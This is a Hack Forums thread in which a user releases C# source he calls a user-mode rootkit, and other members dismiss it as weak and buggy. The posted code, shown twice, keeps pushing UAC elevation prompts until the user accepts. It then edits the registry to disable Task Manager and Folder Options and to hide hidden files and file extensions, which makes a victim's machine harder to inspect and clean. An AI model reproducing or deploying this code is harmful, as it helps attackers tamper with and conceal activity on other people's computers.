Hack Forums
[C#] C# Rootkit - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Tech (https://hackforums.net/forumdisplay.php?fid=444)
+--- Forum: Coding (https://hackforums.net/forumdisplay.php?fid=151)
+---- Forum: Software Development (https://hackforums.net/forumdisplay.php?fid=118)
+---- Thread: [C#] C# Rootkit (/showthread.php?tid=5085017)

Pages: Pages 1 2 3


C# Rootkit - N3Cr0M0rPh - Dec 7, 2015

Hey guys I coded a simple ring3 rootkit in C#

It has:
Disable taskmanager
Disable UAC
UAC Bypass
Disable folder options
Disable View Hidden Files
Code
public static bool IsAdministrator()
        {
            var identity = WindowsIdentity.GetCurrent();
            var principal = new WindowsPrincipal(identity);
            return principal.IsInRole(WindowsBuiltInRole.Administrator);
        }
        public static bool LaunchAsAdmin()
        {
            string fileName = Assembly.GetExecutingAssembly().Location;
            ProcessStartInfo processInfo = new ProcessStartInfo();
            processInfo.Verb = "runas";
            processInfo.FileName = fileName;

            try
            {
                Process.Start(processInfo);
            }
            catch (Win32Exception)
            {
                return false;
            }
            return true;
        }
        public static bool ByPassUAC()
        {
            if (IsAdministrator())
            {
                try {
                    //disable UAC
                    RegistryKey uac = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", true);
                    if (uac == null)
                    {
                        uac = Registry.CurrentUser.CreateSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System");
                    }
                    uac.SetValue("EnableLUA", 1);
                    uac.Close();

                    //Disable view hidden files all across the board
                    RegistryKey ShowSuperHidden = Registry.CurrentUser.OpenSubKey(@"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced", true);
                    ShowSuperHidden.SetValue("ShowSuperHidden", 0, RegistryValueKind.DWord);
                    ShowSuperHidden.Close();
                    RegistryKey HideFileExt = Registry.CurrentUser.OpenSubKey(@"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\Explorer\\Advanced", true);
                    HideFileExt.SetValue("HideFileExt", 1, RegistryValueKind.DWord);
                    HideFileExt.Close();
                    RegistryKey HideDrivesWithNoMedia = Registry.CurrentUser.OpenSubKey(@"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\Explorer\\Advanced", true);
                    HideDrivesWithNoMedia.SetValue("HideDrivesWithNoMedia", 1, RegistryValueKind.DWord);
                    HideDrivesWithNoMedia.Close();
                    //Disable Folder Options
                    RegistryKey NoFolderOptions = Registry.CurrentUser.OpenSubKey(@"HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer", true);
                    NoFolderOptions.SetValue("NoFolderOptions", 1, RegistryValueKind.DWord);
                    NoFolderOptions.Close();

                    //Disable Task manager
                    RegistryKey DisableTaskMgr = Registry.CurrentUser.OpenSubKey(@"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", true);
                    DisableTaskMgr.SetValue("DisableTaskMgr", 1, RegistryValueKind.DWord);
                    DisableTaskMgr.Close();
                } catch
                {

                }
                return true;
            }
            bool Ran = false;
            while (Ran != true)
            {
                Ran = LaunchAsAdmin();
            }
            Environment.Exit(0);
            return true;
        }
Have fun HF! 🤝


This is a little bit of the source code from thanatos IRC btw


* - ahemokay - Dec 7, 2015

Not sure how good it actually is but thanks for the free release 🤝


* - He B TeMy - Dec 7, 2015

You're not disabling UAC, even if you were, you need a reboot, it doesn't work above windows 7 too, nor XP, but you don't seem to care about that.

Nice useless variable declaration and while loop, why you don't just use 'else'?
Environment.Exit(0) and followed by a return call, what a moron.


* - Joshmills - Dec 7, 2015

This has been reposted.
This is not a "rootkit" you wont even have a real rootkit in c# and this isnt anywhere close to having one.
best you can do is import a dll made in c++ and inject into everything lmao


* - N3Cr0M0rPh - Dec 7, 2015

(Dec 7, 2015 07:36 AM)Joshmills Wrote:  This has been reposted.
This is not a "rootkit" you wont even have a real rootkit in c# and this isnt anywhere close to having one.
best you can do is import a dll made in c++ and inject into everything lmao

This isnt a repost, its my own code.


* - excr4sh - Dec 7, 2015

except that to disable UAC, you need admin rights...


* - N3Cr0M0rPh - Dec 7, 2015

(Dec 7, 2015 10:36 AM)FordCl Wrote:  except that to disable UAC, you need admin rights...

It requests for admin...


* - BahNahNah - Dec 7, 2015

This is not a rootkit.
You cant make rootkits in .Net.


* - NewPath - Dec 7, 2015

(Dec 7, 2015 06:36 AM)N3Cr0M0rPh Wrote:  Hey guys I coded a simple ring3 rootkit in C#

It has:
Disable taskmanager
Disable UAC
UAC Bypass
Disable folder options
Disable View Hidden Files
Code
public static bool IsAdministrator()
        {
            var identity = WindowsIdentity.GetCurrent();
            var principal = new WindowsPrincipal(identity);
            return principal.IsInRole(WindowsBuiltInRole.Administrator);
        }
        public static bool LaunchAsAdmin()
        {
            string fileName = Assembly.GetExecutingAssembly().Location;
            ProcessStartInfo processInfo = new ProcessStartInfo();
            processInfo.Verb = "runas";
            processInfo.FileName = fileName;

            try
            {
                Process.Start(processInfo);
            }
            catch (Win32Exception)
            {
                return false;
            }
            return true;
        }
        public static bool ByPassUAC()
        {
            if (IsAdministrator())
            {
                try {
                    //disable UAC
                    RegistryKey uac = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", true);
                    if (uac == null)
                    {
                        uac = Registry.CurrentUser.CreateSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System");
                    }
                    uac.SetValue("EnableLUA", 1);
                    uac.Close();

                    //Disable view hidden files all across the board
                    RegistryKey ShowSuperHidden = Registry.CurrentUser.OpenSubKey(@"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced", true);
                    ShowSuperHidden.SetValue("ShowSuperHidden", 0, RegistryValueKind.DWord);
                    ShowSuperHidden.Close();
                    RegistryKey HideFileExt = Registry.CurrentUser.OpenSubKey(@"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\Explorer\\Advanced", true);
                    HideFileExt.SetValue("HideFileExt", 1, RegistryValueKind.DWord);
                    HideFileExt.Close();
                    RegistryKey HideDrivesWithNoMedia = Registry.CurrentUser.OpenSubKey(@"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\Explorer\\Advanced", true);
                    HideDrivesWithNoMedia.SetValue("HideDrivesWithNoMedia", 1, RegistryValueKind.DWord);
                    HideDrivesWithNoMedia.Close();
                    //Disable Folder Options
                    RegistryKey NoFolderOptions = Registry.CurrentUser.OpenSubKey(@"HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer", true);
                    NoFolderOptions.SetValue("NoFolderOptions", 1, RegistryValueKind.DWord);
                    NoFolderOptions.Close();

                    //Disable Task manager
                    RegistryKey DisableTaskMgr = Registry.CurrentUser.OpenSubKey(@"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", true);
                    DisableTaskMgr.SetValue("DisableTaskMgr", 1, RegistryValueKind.DWord);
                    DisableTaskMgr.Close();
                } catch
                {

                }
                return true;
            }
            bool Ran = false;
            while (Ran != true)
            {
                Ran = LaunchAsAdmin();
            }
            Environment.Exit(0);
            return true;
        }
Have fun HF! 🤝


This is a little bit of the source code from thanatos IRC btw

This shit code is not a rootkit. Oh I love silly kids makes me think of my childhood.


(Dec 7, 2015 02:20 PM)BahNahNah Wrote:  This is not a rootkit.
You cant make rootkits in .Net.

Can you call the winapi in .net yes can you make a rootkit in .net yes.
Is it the right thing to make one in .net no but you can.


(Dec 7, 2015 07:36 AM)Joshmills Wrote:  This has been reposted.
This is not a "rootkit" you wont even have a real rootkit in c# and this isnt anywhere close to having one.
best you can do is import a dll made in c++ and inject into everything lmao

You can inject code directly in .net by calling the winapi no need to use LoadLibary


* - He B TeMy - Dec 7, 2015

(Dec 7, 2015 11:24 AM)N3Cr0M0rPh Wrote:  It requests for admin...

I may be pointing the obvious, but since you didn't reply to my previous post, you're setting the EnableLUA to '1', that's not disabling UAC.

I know i need to point this out to you after you just coded a 'rootkit'.


* - N3Cr0M0rPh - Dec 7, 2015

(Dec 7, 2015 02:42 PM)He B TeMy Wrote:  I may be pointing the obvious, but since you didn't reply to my previous post, you're setting the EnableLUA to '1', that's not disabling UAC.

I know i need to point this out to you after you just coded a 'rootkit'.

Just an antiskid thing lol
I know its not a true "rootkit" nevertheless its a user mode rootkit,
a real rootkit uses kernel hooks nd shit. If I coded a real one I obviously wouldn't be posting it on hf


* - BahNahNah - Dec 7, 2015

(Dec 7, 2015 03:57 PM)N3Cr0M0rPh Wrote:  Just an antiskid thing lol
I know its not a true "rootkit" nevertheless its a user mode rootkit,
a real rootkit uses kernel hooks nd shit. If I coded a real one I obviously wouldn't be posting it on hf

Im not sure you understand what a rootkit is.
You cant make a rootkit in C#, you need a low level language.


* - eCoLoGy - Dec 7, 2015

(Dec 7, 2015 03:58 PM)BahNahNah Wrote:  Im not sure you understand what a rootkit is.
You cant make a rootkit in C#, you need a low level language.

This!
I suggest going with Pascal. 😝


* - true - Dec 7, 2015

(Dec 7, 2015 03:58 PM)BahNahNah Wrote:  Im not sure you understand what a rootkit is.
You cant make a rootkit in C#, you need a low level language.

Couldn't you make one if it was a ring 3 rootkit?(Not familiar with rootkit's, just curious)


* - Yoshikage Kira - Dec 7, 2015

(Dec 7, 2015 03:57 PM)N3Cr0M0rPh Wrote:  Just an antiskid thing lol
I know its not a true "rootkit" nevertheless its a user mode rootkit,
a real rootkit uses kernel hooks nd shit. If I coded a real one I obviously wouldn't be posting it on hf

You're hilarious, this "shit" that you posted is not a ring3 userkit.